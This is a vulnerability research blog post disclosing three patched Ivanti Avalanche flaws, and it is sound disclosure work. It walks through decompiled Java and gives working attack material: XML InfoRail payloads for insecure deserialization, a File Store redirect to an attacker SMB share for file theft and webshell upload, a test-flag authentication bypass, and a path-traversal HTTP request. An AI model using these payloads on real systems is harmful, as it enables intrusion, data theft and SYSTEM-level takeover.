Zero Day Initiative — Riding the InfoRail to Exploit Ivanti Avalanche – Part 2

Riding the InfoRail to Exploit Ivanti Avalanche – Part 2

September 08, 2022 | Piotr Bazydło

In my first blog post covering bugs in Ivanti Avalanche, I covered how I reversed the Avalanche custom InfoRail protocol, which allowed me to communicate with multiple services deployed within this product. This allowed me to find multiple vulnerabilities in the popular mobile device management (MDM) tool. If you aren’t familiar with it, Ivanti Avalanche allows enterprises to manage mobile device and supply chain mobility solutions. That’s why the bugs discussed here could be used by threat actors to disrupt centrally managed Android, iOS and Windows devices. To refresh your memory, the following vulnerabilities were presented in the previous post:

 ·       Five XStream insecure deserialization issues, where deserialization was performed on the level of message handling.
·       A race condition leading to authentication bypass, wherein I abused a weakness in the protocol and the communication between services.

This post is a continuation of that research. By understanding the expanded attack surface exposed by the InfoRail protocol, I was able to discover an additional 20 critical and high severity vulnerabilities. This blog post takes a detailed look at three of my favorite vulnerabilities, two of which have a rating of CVSS 9.8:

·       CVE-2022-36971 – Insecure deserialization.
·       CVE-2021-42133 – Arbitrary file write/read through the SMB server.
·       CVE-2022-36981 – Path traversal, delivered with a fun authentication bypass.

Each of these three vulnerabilities leads to remote code execution as SYSTEM.

CVE-2022-36971: A Tricky Insecure Deserialization

I discovered the first vulnerability when I came across an interesting class named JwtTokenUtility, which defines a non-default constructor that could be a potential target:

public class JwtTokenUtility
{
private JwtTokenUtility() {}
public JwtTokenUtility(boolean publicOnly, String base64Object) {
byte[] bin = Base64.getDecoder().decode(base64Object); // [1]
if (publicOnly) { // [2]
try {
X509EncodedKeySpec pkSpec = new X509EncodedKeySpec(bin);
KeyFactory keyFactory = KeyFactory.getInstance("RSA");
this.m_publicKey = (RSAPublicKey)keyFactory.generatePublic(pkSpec);
} catch (Exception ex) {
logger.error("Public key problem", ex);
}
}
else {
try {
ByteArrayInputStream bi = new ByteArrayInputStream(bin);
ObjectInputStream oi = new ObjectInputStream(bi);
Object obj = oi.readObject(); // [3]
oi.close();
bi.close();
if (obj instanceof KeyPair) {
KeyPair kp = (KeyPair)obj;
this.m_publicKey = (RSAPublicKey)kp.getPublic();
this.m_privateKey = (RSAPrivateKey)kp.getPrivate();
}
else {
logger.error("KeyPair instance problem");
}
}
catch (Exception ex) {
logger.error("JwtTokenUtility problem", ex);
}
}
}
...
...
}
view raw ivanti-0.java hosted with ❤ by GitHub

At [1], the function base64-decodes one of the arguments.

At [2], it checks if the publicOnly argument is true.

If not, it deserializes the base64 decoded argument at [3].

This looks like a possible insecure deserialization sink. In addition, it is invoked from many locations within the codebase. The following screenshot illustrates several instances where it is invoked with the first argument set to false:

Figure 1 - Example invocations of JwtTokenUtility non-default constructor

It turned out that most of these potential vectors require control over the SQL database. The serialized object is retrieved from the database, and I found no direct way to modify this value. Luckily, there are two services with a more direct attack vector: the Printer Device Server and the Smart Device Server. The exploitation of both services is almost identical. We will focus on the Printer Device Server (PDS).

Let’s have a look at the PDS AmcConfigDirector.createAccessTokenGenerator method:

private void createAccessTokenGenerator() {
IGlobalsAPI acctApi = this.m_apiVector.getDbGlobalsAPI();
IDbSessionAPI session = acquireSession();
try {
IGlobal global = (acctApi == null) ? null : acctApi.getGlobal(session); // [1]
if (global != null) {
String pkk = global.getAccessKeyPair(); // [2]
if (pkk != null && !pkk.isEmpty()) {
pkk = PasswordUtils.decryptPassword(pkk); // [3]
try {
this.m_tokenGenerator = new JwtTokenUtility(false, pkk); // [4]
} catch (Exception ex) {
logger.error("Access token generator not built: " + ex);
}
}
else {
logger.warn("No access key found");
}
String ek = global.getAccessEnterpriseKey();
if (ek != null && !ek.isEmpty()) {
this.m_enterpriseKey = PasswordUtils.decryptPassword(ek);
} else {
logger.warn("No enterprise key found");
}
}
}
finally
{
releaseSession(session);
}
}
view raw ivanti-1.java hosted with ❤ by GitHub

At [1], it uses acctApi.getGlobal to retrieve an object that implements IGlobal.

At [2], it retrieves the pkk string by calling global.getAccessKeyPair.

At [3], it decrypts the pkk string by calling PasswordUtils.decryptPassword. We are not going to analyze this decryption routine. This decryption function implements a fixed algorithm with a hardcoded key, thus the attacker can easily perform the encryption or decryption on their own.

At [4], it invokes the vulnerable JwtTokenUtility constructor, passing the pkk string as an argument.

At this point, we are aware that there is potential for abusing the non-default JwtTokenUtility constructor. However, we are missing two things:

       -- How can we control the pkk string?
       -- How can we reach createAccessTokenGenerator?

Let’s start with the control of the pkk string.

Controlling the value of pkk

To begin, we know that:

       -- The code retrieves an object to assign to the global variable. This object implements IGlobal.
       -- It calls the global.getAccessKeyPair getter to retrieve pkk.

There is a Global class that appears to control the PDS service global settings. It implements the IGlobal interface and both the getter and the setter for the accessKeyPair member, so this is probably the class we’re looking for.

public class Globalimplements IGlobal
{
private Long id;
private String smtpServer;
private String smtpAccount;
...
...
public String getAccessKeyPair() {
return this.accessKeyPair;
}
public void setAccessKeyPair(String value) {
this.accessKeyPair = value;
}
...
...
}
view raw ivanti-2.java hosted with ❤ by GitHub

Next, we must look for corresponding setAccessKeyPair setter calls. Such a call can be found in the AmcConfigDirector.processServerProfile method.

public void processServerProfile(PrinterAgentConfig config, boolean trackRequest) { // [1]
IDbSessionAPI session = acquireSession();
try {
if (config == null) {
return;
}
...
List<PropertyPayload> properties = config.getPayload(); // [2]
if (properties != null && !properties.isEmpty()) {
boolean newCert = false;
for (PropertyPayload property : properties) { // [3]
if (WavelinkUtilities.isNullOrEmpty(property.name)) {
continue;
}
switch (property.name) { // [4]
...
case "webfs.ac.ppk": // [5]
newValue = property.value;
oldValue = global.getAccessKeyPair();
comp = Utility.comparePropertyValues(newValue, oldValue);
if (comp != 0) {
global.setAccessKeyPair(newValue); // [6]
}
continue;
...
}
...
}
...
}
...
}
...
}
view raw ivanti-3.java hosted with ❤ by GitHub

At [1], processServerProfile accepts the config argument, which is of type PrinterAgentConfig.

At [2], it retrieves a list of PropertyPayload objects by calling config.getPayload.

At [3], the code iterates over the list of PropertyPayload objects.

At [4], there is a switch statement based on the property.name field.

At [5], the code checks to see if property.name is equal to the string "webfs.ac.ppk".

If so, it calls setAccessKeyPair at [6].

So, the AmcConfigDirector.processServerProfile method can be used to control the pkk value. Finally, we note that this method can be invoked remotely through a ServerConfigHandler InfoRail message:

public class ServerConfigHandler implements IMessageProcessor {
private static Logger logger = LogManager.getLogger(ServerConfigHandler.class);
private static final int SUBCATEGORY = 1000000; // [1]
public void processMessage(IrMessage msg, IrTopic sender, IAPIVector apiVector) { // [2]
IDeploymentAPI deploymentAPI = apiVector.getDeploymentAPI();
IConfigDirectorAPI capi = apiVector.getConfigDirectorAPI();
try {
String payload = ((IrXmlPayload)msg.getPayload()).toString(); // [3]
if (capi.isDeploymentInProgress()) {
deploymentAPI.store(1000000, payload);
deploymentAPI.decrementRequestCount();
return;
}
processMessage(payload, apiVector, true); // [4]
}
catch (Exception xe) {
logger.warn("Unable to process printer device server config; payload invalid.");
throw new RuntimeException("EServer problem", xe);
}
}
public void processMessage(String payload, IAPIVector apiVector, boolean trackRequest) {
IConfigDirectorAPI capi = apiVector.getConfigDirectorAPI();
PrinterAgentConfig configPayload = (PrinterAgentConfig)ObjectGraph.fromXML(payload); // [5]
if (configPayload != null){
capi.processServerProfile(configPayload, trackRequest); // [6]
}
}
}
view raw ivanti-4.java hosted with ❤ by GitHub

At [1], we see that this message type can be accessed through the subcategory 1000000 (see first blog post - Message Processing and Subcategories section).

At [2], the main processMessage method is defined. It will be called during message handling.

At [3], the code retrieves the message payload.

At [4], it calls the second processMessage method.

At [5], it deserializes the payload and casts it to the PrinterAgentConfig type.

At [6], it calls processServerProfile and provides the deserialized config object as an argument.

Success! We can now deliver our own configuration through the ServerConfigHandler method of the PDS server. This method can be invoked through the InfoRail protocol. Next, we need to get familiar with the PrinterAgentConfig class to prepare the appropriate serialized object.

@XStreamAlias("PrinterAgentConfig")
public class PrinterAgentConfig
{
private List<PropertyPayload> payload = null;
...
...
}
view raw ivanti-5.java hosted with ❤ by GitHub

It has a member called payload, which is of type List<PropertyPayload>.

@XStreamAlias("arbitraryProperty")
public class PropertyPayload
{
private static final String TRUE_VALUE = "1";
private static final String FALSE_VALUE = "0";
public String name;
public String value;
public Integer use;
...
...
}
view raw ivanti-6.java hosted with ❤ by GitHub

PropertyPayload has two members that are interesting for us: name and value. Recall that the processServerProfile method does the following:

       -- Iterates through the list of PropertyPayload objects with a for loop.
       -- Executes switch statement based on PropertyPayload.name.
       -- Sets values based on PropertyPayload.value.

With this in mind, we can understand how to deliver a serialized object and control the pkk variable. We have to prepare an appropriate gadget (we can use the Ysoserial C3P0 or CommonsBeanutils1 gadgets), encrypt it (decryption will be handled by the PasswordUtils.decryptPassword method) and deliver through the InfoRail protocol.

The properties of the InfoRail message should be as follows:

       -- Message subcategory: 1000000.
       -- InfoRail distribution list address: 255.3.5.15 (PDS server).

Here is an example payload:

<PrinterAgentConfig>
<payload>
<com.wavelink.avalanche.inforail.beans.PropertyPayload>
<name>webfs.ac.ppk</name>
<value>0c41600d9a861f2c003639dfaffd0460feef6f9f2be70a58e4b1150780a...</value>
</com.wavelink.avalanche.inforail.beans.PropertyPayload>
</payload>
</PrinterAgentConfig>
view raw ivanti-7.xml hosted with ❤ by GitHub

The first step of the exploitation is completed. Next, we must find a way to call the createAccessTokenGenerator function.

Triggering the Deserialization

Because the full flow that leads to the invocation of createAccessTokenGenerator is extensive, I will omit some of the more tedious details. We will instead focus on the InfoRail message that allows us to trigger the deserialization via the needFullConfigSync function. Be aware that the PDS server frequently performs synchronization operations, but typically does not perform a synchronization of the full configuration. By calling needFullConfigSync, a full synchronization will be performed, leading to execution of doPostDeploymentCleanup:

public void doPostDeploymentCleanup() {
createAccessTokenGenerator(); // [1]
initDynamicFolderAssignmentsHandling();
initAlertProfileCache();
initAssetProfileCache();
verifySSLCertificate();
initLastSelfSignedCertificateState();
initCaRootCertificate();
configureFileStoreClient();
schedulePeriodicUpdates();
reportFileStoreUrlsToFSClient();
logger.info("Finished config director postdeployment cleanup");
}
view raw ivanti-8.java hosted with ❤ by GitHub

At [1], the code invokes our target method, createAccessTokenGenerator.

The following snippet presents the NotificationHandler message, which calls the needFullConfigSync method:

public class NotificationHandler implements IMessageProcessor
{
private static Logger logger = LogManager.getLogger(NotificationHandler.class);
private static final int SUBCATEGORY = 2200; // [1]
public void processMessage(IrMessage msg, IrTopic sender, IAPIVector apiVector) { // [2]
IIrTransportAPI tapi = apiVector.getIrTransportAPI();
IConfigDirectorAPI capi = apiVector.getConfigDirectorAPI();
IContextDirectorAPI ctxapi = apiVector.getContextDirectorAPI();
IDeploymentAPI deploymentAPI = apiVector.getDeploymentAPI();
NotifyUpdate nu = null;
...
try {
String payload = ((IrXmlPayload)msg.getPayload()).toString();
nu = (NotifyUpdate)ObjectGraph.fromXML(payload); // [3]
...
for (NotifyUpdateEntry nue : nu.getEntries()) { // [4]
if (nue != null && nue.getObjectType() != null) {
if (nue.getObjectType().intValue() == 13) {
deploymentAPI.addDeployment(nu);
continue;
}
if (nue.getObjectType().intValue() == 61) { // [5]
logger.info("Notify update (UPDATE_OBJ_SDS_PROFILE) triggers full config sync");
universalDeployment = true; // [8]
continue;
}
if (nue.getObjectType().intValue() == 64) { // [6]
logger.info("Notify update (UPDATE_OBJ_COMPANY_PROPERTIES) triggers full config sync");
universalDeployment = true; // [9]
continue;
}
if (nue.getObjectType().intValue() == 59) { // [7]
logger.info("Notify update (UPDATE_OBJ_SMART_DEVICE_FOLDER) triggers fullconfig sync");
universalDeployment = true; // [10]
}
}
}
if (universalDeployment){
capi.needFullConfigSync(); // [11]
}
}
}
}
view raw ivanti-9.java hosted with ❤ by GitHub

At [1], the message subcategory is defined as 2200.

At [2], the main processMessage method is defined.

At [3], the payload is deserialized and casted to the NotifyUpdate type (variable nu).

At [4], the code iterates through the entries of the NotifyUpdateEntry object that was obtained from nu.getEntries.

At [5], [6], and [7], the code checks to see if entry.ObjectType is equal to 61, 64, or 59.

If one of the conditions is true, the code sets the universalDeployment variable to true value at [8], [9], or [10], so that needFullConfigSync will be called at [11].

The last step is to create an appropriate serialized message object. An example payload is presented below. Here, the objectType field is equal to 61.

<NotifyUpdate>
<entries>
<NotifyUpdateEntry>
<objectType>61</objectType>
<operationType>61</operationType>
<extraArguments>
<string>1</string>
</extraArguments>
<idList>
<string>61</string>
</idList>
<updated>1</updated>
<id>61</id>
<parentRegion>1</parentRegion>
<parentSite>1</parentSite>
</NotifyUpdateEntry>
</entries>
</NotifyUpdate>
view raw ivanti-10.xml hosted with ❤ by GitHub

The attacker must send this payload through a message with the following properties:

-- Message subcategory: 2200.
-- InfoRail distribution list address: 255.3.5.15 (PDS server).

To summarize, we must send two different InfoRail messages to exploit this deserialization issue. The first message is to invoke ServerConfigHandler, which delivers a serialized pkk string. The second message is to invoke NotificationHandler, to trigger the insecure deserialization of the pkk value. The final result is a nice pre-auth remote code execution as SYSTEM.

CVE-2021-42133: One Vuln to Rule Them All - Arbitrary File Read and Write

Ivanti Avalanche has a File Store functionality, which can be used to upload files of various types. This functionality has been already abused in the past, in CVE-2021-42125, where an administrative user could:

-- Use the web application to change the location of the File Storage and point it to the web root.
-- Upload a file of any extension, such as a JSP webshell, through the web-based functionality.
-- Use the webshell to get code execution.

The File Store configuration operations are performed through the Enterprise Server, and they can be invoked through InfoRail messages. I quickly discovered three interesting properties of the File Store:

  1. It supports Samba shares. Therefore, it is possible to connect it to any reachable SMB server. The attacker can set the File Store path pointing to his server by specifying a UNC path.
  2. Whenever the File Store path is changed, Avalanche copies all files from the previous File Store directory to the new one. If a file of the same name already exists in the new location, it will be overwritten.
  3. The File Store path can also be set to any location in the local file system.

These properties allow an attacker to freely exchange files between their SMB server and the Ivanti Avalanche local file system. In order to modify the File Store configuration, the attacker needs to send a SetFileStoreConfig message:

public class SetFileStoreConfig extends AbstractPayloadProcessor
{
private static Logger logger = LogManager.getLogger(SetFileStoreConfig.class);
private final int SUBCATEGORY = 1501; // [1]
public IrMessage processMessage() { // [2]
Boolean success = Boolean.FALSE;
try {
if (this.msgObject instanceof List) {
List<FileStoreConfigPayload> theList = (List<FileStoreConfigPayload>)this.msgObject;
if (theList.size() > 0) {
success = Boolean.valueOf(saveConfig(theList.get(0))); // [3]
}
}
else if (this.msgObject instanceof FileStoreConfigPayload) {
success = Boolean.valueOf(saveConfig((FileStoreConfigPayload)this.msgObject)); // [4]
}
}
catch (Exception nfe) {
...
}
...
}
}
view raw ivanti-11.java hosted with ❤ by GitHub

At [1], the subcategory is defined as 1501.

At [2], the standard Enterprise Server processMessage method is defined. The implementation of message processing is a little bit different in the Enterprise Server, although the underlying idea is the same as in previous examples.

At [3] and [4], the method saves the new configuration values.

The only thing that we must know about the saveConfig method is that it overwrites all the properties with the new ones provided in the serialized payload. Moreover, some of the properties, such as the username and password for the SMB share, are encrypted in the same manner as in the previously described deserialization vulnerability.

To sum up this part, we must send an InfoRail message with the following properties:

--Message subcategory: 1501.
--Message distribution list: 255.3.2.5 (Enterprise Server).

Below is a fragment of an example payload, which sets the File Store path to an attacker-controlled SMB server:

<RequestPayload>
<userId>1</userId>
<msgObject class="com.wavelink.avalanche.inforail.beans.FileStoreConfigPayload">
<list>
<com.wavelink.avalanche.inforail.beans.FileStoreConfigPropertyPayload>
<key>unc</key>
<value>\\192.168.10.10\poc\poc</value>
</com.wavelink.avalanche.inforail.beans.FileStoreConfigPropertyPayload>
<com.wavelink.avalanche.inforail.beans.FileStoreConfigPropertyPayload>
<key>uname</key>
<value>1d4e3271746ff5f8c6b443bad4c327f4</value>
</com.wavelink.avalanche.inforail.beans.FileStoreConfigPropertyPayload>
<com.wavelink.avalanche.inforail.beans.FileStoreConfigPropertyPayload>
<key>upass</key>
<value>ca4fdbb01bc27443cb1a00a2894393ed</value>
</com.wavelink.avalanche.inforail.beans.FileStoreConfigPropertyPayload>
...
</list>
</msgObject>
</RequestPayload>
view raw ivanti-12.xml hosted with ❤ by GitHub

Arbitrary File Read Scenario

The whole Arbitrary File Read scenario can be summarized in the following picture:

Figure 2 - Example scenario for the Arbitrary File Read exploitation

  1. The attacker points the File Store to a non-existent SMB share. This step is optional, but makes the exploit cleaner by ensuring that files from the current File Store location will not be copied to the location where the attacker wants to retrieve the files.
  2. The attacker points the File Store to a desired local file system path from which he wants to disclose files.
  3. The attacker points the File Store to his SMB share.
  4. Files from the previous File Store path (local file system) are transferred to the attacker’s SMB share.

The following screenshot presents an example exploitation of this scenario:

Figure 3 - Exploitation of the Arbitrary File Read scenario

As shown, the exploit is targeting the main Ivanti Avalanche directory: C:\Program Files\Wavelink\Avalanche.

The following screenshot presents the exploitation results. Files from the Avalanche main directory were gradually copied to the attacker’s server:

Figure 4 - Exploitation of the Arbitrary File Read scenario - results

Arbitrary File Write Scenario

The following screenshot presents the Arbitrary File Write scenario:

Figure 5 - Example scenario for the Arbitrary File Write scenario

  1. The attacker creates an SMB share that contains the JSP webshell.
  2. The attacker points the File Store to a non-existent SMB share. This step is optional, but makes the exploit cleaner by ensuring that files from the current File Store location will not be copied to the Avalanche webroot.
  3. The attacker points the File Store to the SMB share containing the webshell file.
  4. The attacker points the File Store to the Ivanti Avalanche webroot directory.
  5. Avalanche copies the webshell to the webroot.
  6. The attacker executes code through the webshell.

The following screenshot presents an example exploitation attempt. It uploads a file named poc-upload.jsp to C:\Program Files\Wavelink\Avalanche\Web\webapps\ROOT:

Figure 6 - Exploitation of the Arbitrary File Write scenario

Finally, one can use the uploaded webshell to execute arbitrary commands.

Figure 7 - Executing arbitrary code via the webshell

CVE-2022-36981: Path Traversal in File Upload, Plus Authentication Bypass

We made it to the final vulnerability we will discuss today. This time, we will exploit a path traversal vulnerability in the Avalanche Smart Device Server, which listens on port TCP 8888 by default. However, InfoRail will play a role during the authentication bypass that allows us to reach the vulnerable code.

Path Traversal in File Upload

Our analysis begins with examining the uploadFile method.

@Path("/devicelog")
public class DeviceLogResource extends ApplicationResource
{
private static Logger logger = LogManager.getLogger(DeviceLogResource.class);
@POST
@Path("/upload/{uuid}/{targetbasename}") // [1]
@Consumes({"application/octet-stream"})
@Produces({"application/json"})
public Response uploadFile(@PathParam("uuid") String uuid, @PathParam("targetbasename") String baseFileName, @HeaderParam("Authorization") String authorization, InputStream inputStream) throws ApplicationException {
ClosableMDCLogHelper logHelper = new ClosableMDCLogHelper((uuid != null) ? uuid : "<null>");
try {
Response response = doUploadFile(uuid, baseFileName, authorization, inputStream); // [2]
...
}
...
}
...
}
view raw ivanti-13.java hosted with ❤ by GitHub

At [1], the endpoint path is defined. The path contains two arguments: uuid and targetbasename.

At [2], the doUploadFile method is called.

Let’s start with the second part of the doUploadFile method, as I want to save the authentication analysis for later in this section.

private Response doUploadFile(String uuid, String baseFileName, String authorization, InputStream inputStream) throws ApplicationException {
...
AUTHORIZATION PART REMOVED
...
String uploadPath = dlogsApi.getUploadFilePath(uuid, baseFileName); // [1]
if (uploadPath == null) {
dlogsApi.uploadCompleted(uuid, null);
logger.error("Unable to create a device log file");
throw raiseAppException(500, -1007, "Unable to accept data (permanent).",
null);
}
File uploadFileLocation = new File(uploadPath); // [2]
String output = "";
try {
writeToFile(inputStream, uploadFileLocation); // [3]
output = String.format("{\"FileUploaded\" : \"%s\"}", new Object[] { uploadFileLocation.getName() });
}
catch (Exception ex) {
logger.error(ex);
}
finally {
dlogsApi.uploadCompleted(uuid, uploadFileLocation.getAbsolutePath());
}
logger.info(String.format("Log file upload ended: %s", new Object[] { uploadFileLocation.getName() }));
return Response.status(200).entity(output).build();
}
view raw ivanti-14.java hosted with ❤ by GitHub

At [1], the uploadPath string is obtained by calling getUploadFilePath. This method accepts two controllable input arguments: uuid and baseFileName.

At [2], the method instantiates a File object based on uploadPath.

At [3], the method invokes writeToFile, passing the attacker-controlled input stream together with the File object.

We will now analyze the crucial getUploadFilePath method, as this is the method that composes the destination path.

public String getUploadFilePath(String uuid, String baseFileName) {
File deviceRoot = new File(getCachePath(), uuid); // [1]
if (!deviceRoot.exists()) { // [2]
deviceRoot.mkdirs(); // [3]
if (!deviceRoot.exists()) {
logger.error("Unable to create device log root directory: " + deviceRoot);
return null;
}
}
baseFileName = WavelinkUtilities.isNullOrEmpty(baseFileName) ? " " : baseFileName;
if (!baseFileName.matches("[-_.A-Za-z0-9]+")) { // [4]
baseFileName = "devicelog.zip"; // [5]
}
SimpleDateFormat STARTTIME_FORMATTER = new SimpleDateFormat("yyyy-MM-dd-HH-mmss");
String s = STARTTIME_FORMATTER.format(new Date(System.currentTimeMillis()));
for (int i = 0; i < 999999; i++) {
String fn = String.format("%s-%d-%s", new Object[] { s, Integer.valueOf(i), baseFileName }); // [6]
File file = new File(new File(getCachePath(), uuid), fn); // [7]
if (!file.exists()) {
return file.getAbsolutePath(); // [8]
}
}
logger.error("Unable to form a unique filename for " + uuid);
return null;
}
view raw ivanti-15.java hosted with ❤ by GitHub

At [1], it constructs deviceRoot as an object of type File. The parameters passed to the constructor are the hardcoded path obtained from getCachePath() and the attacker-controllable uuid value. As shown above, uuid is not subjected to any validation, so we can perform path traversal here.

At [2], the code verifies that the deviceRoot directory exists. From here we see that uuid is intended to specify a directory. If the directory does not exist, the code creates it at [3].

At [4], it validates the attacker-controlled baseFileName against a regular expression. If the validation fails, baseFileName is reassigned at [5].

At [6], it creates a new filename fn, based on the current datetime, an integer value, and baseFileName.

At [7], it instantiates a new object of type File. The path for this File object is composed from uuid and fn.

After ensuring that the file does not already exist, the file path is returned at [8].

After analyzing this method, we can draw two conclusions:

       -- The uuid parameter is not validated to guard against path traversal sequences. An attacker can use this to escape to a different directory.
       -- The extension of baseFileName is not validated. An attacker can use this to upload a file with any extension, though the filename will be prepended with a datetime and an integer.

Ultimately, when doUploadFile calls writeToFile, it will create a new file with this name and write the attacker-controlled input stream to the file. This makes it seem that we can exploit this as a path traversal vulnerability and write an arbitrary file to the filesystem. However, there are two major obstacles that will be presented in the next section.

Authentication and Additional UUID Verification

Now that we’ve covered the second part, let’s go back and analyze the first part of the doUploadFile method.

private Response doUploadFile(String uuid, String baseFileName, String authorization, InputStream inputStream) throws ApplicationException {
APIVector aPIVector = getAPIVector();
IDeviceLogsManagerAPI dlogsApi = aPIVector.getDeviceLogsManagerAPI();
long testFlags = aPIVector.getConfigDirectorAPI().getTestFlags(); // [1]
if (!dlogsApi.isEnabled()) {
logger.error("Device log caching not enabled");
throw raiseAppException(500, -1007, "Unable to accept data (permanent).", null);
}
if (WavelinkUtilities.isNullOrEmpty(uuid) || uuid.length() < 5) { // [2]
logger.error("Invalid or missing UUID");
throw raiseAppException(400, -1009, "One or more request parameters missing.", null);
}
if (WavelinkUtilities.isNullOrEmpty(authorization) || !isAuthorized(uuid, authorization, testFlags)) { // [3]
logger.error("Missing authorization");
throw raiseAppException(401, -1010, "Device not authorized to make this request.", null);
}
Long deviceId = aPIVector.getDbDeviceAPI().mapUuidToId(uuid); // [4]
if (deviceId.longValue() == 0L) { // [5]
logger.error("Device not in inventory");
if ((testFlags & 0x100L) == 0L) // [6]
{
throw raiseAppException(404, -1000, "The device is unenrolled!", null);
}
}
if (!dlogsApi.allowUpload(uuid)) { // [7]
logger.error("Device log upload prohibited");
throw raiseAppException(503, -1008, "Unable to accept data (temporary).", null);
}
...
...
}
view raw ivanti-16.java hosted with ❤ by GitHub

At [1], the code retrieves the mysterious testFlags.

At [2], it validates the length of the uuid, to ensure it is at least 5 characters long.

At [3], it performs an authorization check (perhaps better thought of as an authentication check) by calling isAuthorized. This method accepts uuid, credentials (authorization), and testFlags.

At [4], the code retrieves the deviceId based on the provided uuid.

At [5], the code checks to see if any device was retrieved. If not, it checks for a specific value in testFlags at [6]. If this second check is also not successful, the code raises an exception.

At [7], it calls allowUpload to perform one additional check. However, this final check has nothing to do with validating uuid. It only verifies the amount of available disk space, and this should not pose any difficulties for us.

We can spot two potential roadblocks:

       -- There is an authentication check.
       -- There is a check on the value of uuid, in that it must map to a known deviceId. However, we can bypass this check if we could get control over testFlags. If testFlags & 0x100 is not equal to 0, the exception will not be thrown, and execution will proceed.

Let’s analyze the most important fragments of the isAuthorized method:

private boolean isAuthorized(String uuid, String token, long testFlags) {
String[] parts = token.split("\\s");
if (parts == null || parts.length != 2) {
return false;
}
if (!parts[0].equalsIgnoreCase("Basic")) {
return false;
}
try {
byte[] rawBytes = Base64.getDecoder().decode(parts[1]);
String creds = new String(rawBytes);
String[] moreParts = creds.split(":");
if (moreParts == null || moreParts.length != 2) {
return false;
}
String enrollmentId = moreParts[0]; // [1]
String enrollmentPassword = moreParts[1];
GroupEnrollment enrollment = null;
APIVector aPIVector = getAPIVector();
try {
IDbSessionAPI session = aPIVector.getDbAccessAPI().acquireDbTransaction((IAPIVector)aPIVector);
try {
enrollment = (GroupEnrollment)aPIVector.getDbDeviceAPI().getEnrollment(session, enrollmentId); // [2]
...
}
catch (Throwable throwable) {
...
}
}
catch (DbRuntimeException ex)
{
..
}
if (enrollment == null) { // [3]
logger.error("Invalid enrollment id");
if ((testFlags & 0x200L) != 0L) { // [4]
return true; // [5]
}
return false; // [6]
}
...
return false;
}
view raw ivanti-17.java hosted with ❤ by GitHub

At [1], the method retrieves enrollmentId, found within the token submitted by the requester.

At [2], it tries to retrieve the enrollment object from the database, based on enrollmentId.

At [3], it checks to see if enrollment was retrieved.

Supposing that enrollment was not retrieved successfully, the code checks for a particular value in testFlags at [4]. If not, it will return false at [6]. But if the relevant value is found in testFlags, the authentication routine will return true at [5], even though the requester’s authorization token did not contain a valid enrollmentId.

Note that this method also checks an enrollment password, although that part is not important for our purposes.

Here as well, testFlags can also be used to bypass the relevant check. Hence, if we can control testFlags, neither the authentication nor the uuid validation will cause any further trouble for us.

Here is where InfoRail comes into play. It turns out that the Smart Device Server AgentTaskHandler message can be used to modify testFlags:

private void modifyTestFlags(BasicProperties properties) {
long flagsToSet = properties.getLong("sds.modflags.set", 0L); // [1]
long flagsToClear = properties.getLong("sds.modflags.clear", 0L);
IConfigDirectorAPI capi = this.m_apiVector.getConfigDirectorAPI(); // [2]
if (capi != null) {
long flags = capi.getTestFlags();
flags &= flagsToClear ^ 0xFFFFFFFFFFFFFFFFL;
flags |= flagsToSet; // [3]
capi.setTestFlags(flags); // [4]
logger.info(String.format("New test flags: 0x%04x", new Object[]{ Long.valueOf(flags) }))
};
properties.setLong("sds.modflags.result", flags);
}
view raw ivanti-18.java hosted with ❤ by GitHub

At [1], it retrieves flagsToSet from the sds.modflags.set property.

At [2], it obtains the Config Directory API interface.

At [3], it uses flagsToSet to calculate the new flags value.

At [4], it saves the new flag value.

To sum up, an attacker can control testFlags, and use this to bypass both the authentication check and the uuid check.

Exploitation

Exploitation includes two steps.

1) Set testFlags to bypass the authentication and the uuid check.

To modify the testFlags, the attacker must send an InfoRail message with the following parameters:

       -- Message subcategory: 2500.
       -- Distribution list: 255.3.2.17 (SDS server).
       -- Payload:

<TaskData>
<requestIdent>10</requestIdent>
<requestType>8121</requestType>
<monitorBroadcast>0</monitorBroadcast>
<errorCode>0</errorCode>
<taskProperties>
<AgentTaskProperty>
<name>sds.modflags.clear</name>
<value>0</value>
</AgentTaskProperty>
<AgentTaskProperty>
<name>sds.modflags.set</name>
<value>768</value>
</AgentTaskProperty>
</taskProperties>
</TaskData>
view raw ivanti-19.xml hosted with ❤ by GitHub

2) Exploit the path Traversal through a web request

The path traversal can be exploited with an HTTP Request, as in the following example:

POST /wam2/devicelog/upload/%2e%2e%5c%2e%2e%5c%2e%2e%5cWeb%5cwebapps%5cROOT%5cpoc/test.jsp HTTP/1.1
Host: 192.168.56.103:8888
Authorization: Basic d2hhdGV2ZXI6d2hhdGV2ZXIK
Content-Type: application/octet-stream
Content-Length: 550
webshell here
view raw ivanti-20.Code hosted with ❤ by GitHub

The response will return the name of the uploaded webshell:

HTTP/1.1 200 OK
Connection: close
Date: Sun, 07 Nov 2021 12:39:36 GMT
Content-Type: application/json
Content-Length: 51
Server: Jetty(9.4.31.v20200723)
{"FileUploaded" : "2021-11-07-04-39-36-0-test.jsp"}
view raw ivanti-21.Code hosted with ❤ by GitHub

Finally, an attacker can use the uploaded JSP webshell for remote code execution as SYSTEM.

Figure 8 - Remote Code Execution with the uploaded webshell

Conclusion

I really hope that you were able to make it through this blog post, as I was not able to describe those issues with a smaller number of details (believe me, I have tried). As you can see, undiscovered attack surfaces can lead to both cool and dangerous vulnerabilities. It is something that you must look for, especially in products that are responsible for the administration of many other devices.

This blog post is the last in this series of articles on Ivanti Avalanche research. However, I am planning something new, and yes, it concerns Java deserialization. Until then, you can follow me @chudypb and follow the team on Twitter or Instagram for the latest in exploit techniques and security patches.